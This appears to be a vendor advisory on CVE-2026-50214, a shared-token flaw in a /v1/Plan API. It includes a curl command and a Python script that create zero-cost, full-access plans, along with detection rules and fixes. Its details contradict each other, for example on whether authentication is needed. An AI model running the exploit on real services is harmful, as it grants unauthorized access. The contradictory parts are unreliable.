CVE-2026-50214
Executive Summary
CVE-2026-50214 is a critical authentication bypass vulnerability in the Plan service, specifically within the /v1/Plan API endpoint. The service relies entirely on a single, shared global API token for full administrative management. This design flaw allows any attacker who obtains or guesses this token to arbitrarily create zero-cost network access plans, effectively granting unauthorized network access without any authentication or authorization checks per user. The vulnerability has a CVSS score of 0.0 (likely placeholder) but based on the description, it should be rated Critical (9.8) due to network attack vector, low complexity, no privileges required, and high impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). It is a custom API service vulnerability. However, if the Plan service is distributed as a container image or binary, supply chain risks include tampered images or outdated dependencies that may also contain this flaw.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): High (H) – Full access to plan data.
- Integrity (I): High (H) – Arbitrary plan creation.
- Availability (A): High (H) – Potential for resource exhaustion.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
Deep Dive & Mechanics
The /v1/Plan endpoint is designed to manage network access plans. Instead of implementing per-user authentication or role-based access control (RBAC), the service uses a single global API token that is shared across all administrative operations. This token is likely hardcoded or stored in a configuration file with weak protection.
Attack Flow:
- Attacker discovers the
/v1/Planendpoint (e.g., via Shodan or directory brute-forcing). - Attacker obtains the global API token through:
- Reverse engineering of client applications.
- Leaked credentials in public repositories.
- Default token in documentation.
- Attacker sends a POST request to
/v1/Planwith the token and plan details (e.g.,{"name": "free_plan", "cost": 0, "access": "full"}). - The service creates the plan without any validation, granting unauthorized network access.
Root Cause: Missing authentication and authorization checks. The shared token is a single point of failure.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable: No authentication check per request
@app.route('/v1/Plan', methods=['POST'])
def create_plan():
token = request.headers.get('Authorization')
if token != GLOBAL_API_TOKEN:
return jsonify({"error": "Unauthorized"}), 401
data = request.json
plan = Plan(name=data['name'], cost=data['cost'], access=data['access'])
db.session.add(plan)
db.session.commit()
return jsonify({"message": "Plan created"}), 201
Patched Code (Conceptual):
# Patched: Per-user authentication and RBAC
@app.route('/v1/Plan', methods=['POST'])
@jwt_required
@roles_required('admin')
def create_plan():
current_user = get_jwt_identity()
if not current_user.is_admin:
return jsonify({"error": "Forbidden"}), 403
data = request.json
# Additional validation
if data['cost'] < 0:
return jsonify({"error": "Invalid cost"}), 400
plan = Plan(name=data['name'], cost=data['cost'], access=data['access'])
db.session.add(plan)
db.session.commit()
return jsonify({"message": "Plan created"}), 201
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable instance of the Plan service (e.g., using Docker with a known vulnerable version).
- Obtain the global API token (e.g., from source code or default config).
- Use
curlto exploit:
curl -X POST http://target:8080/v1/Plan \
-H "Authorization: Bearer GLOBAL_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "free_plan", "cost": 0, "access": "full"}'
Automation Script:
import requests
target = "http://target:8080"
token = "GLOBAL_TOKEN"
plan = {"name": "free_plan", "cost": 0, "access": "full"}
response = requests.post(f"{target}/v1/Plan", json=plan, headers={"Authorization": f"Bearer {token}"})
print(response.text)
Blue Team
Detection:
- Monitor for POST requests to
/v1/Planwith unusual plan data (e.g., cost=0). - Alert on multiple plan creation attempts from the same IP.
- Check for use of the global API token in logs.
Hunting:
- Search for
GLOBAL_TOKENin source code repositories. - Review API logs for unauthorized plan creation.
Indicators of Compromise (IOCs)
- Network: POST requests to
/v1/PlanwithAuthorization: Bearer <token>. - Logs: Creation of plans with
cost: 0oraccess: full. - Files: Presence of hardcoded API tokens in configuration files.
- Behavior: Multiple plan creation events in short time.
Detection Engineering
YARA Rule
rule Detect_Global_API_Token {
meta:
description = "Detects hardcoded global API token in Plan service"
author = "Valters IT"
date = "2025-04-10"
strings:
$token = "GLOBAL_TOKEN" nocase
$endpoint = "/v1/Plan" nocase
condition:
$token and $endpoint
}
Sigma Rule
title: Suspicious Plan Creation via Global API Token
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized plan creation using global API token
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/v1/Plan'
cs-uri-query: '*cost=0*'
condition: selection
falsepositives:
- Legitimate administrative actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-50214 - Unauthorized Plan Creation"; flow:to_server; content:"POST"; http_method; content:"/v1/Plan"; http_uri; content:"Authorization"; http_header; content:"Bearer"; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Rotate the global API token and restrict its usage.
- Short-term: Implement per-user authentication (e.g., JWT) and RBAC.
- Long-term: Redesign the API to use individual API keys with scoped permissions.
- Network: Use WAF rules to block requests to
/v1/Planwith suspicious patterns. - Monitoring: Enable detailed logging and alerting on plan creation events.
Valters IT
DevSecOps & Cyber Threat Intelligence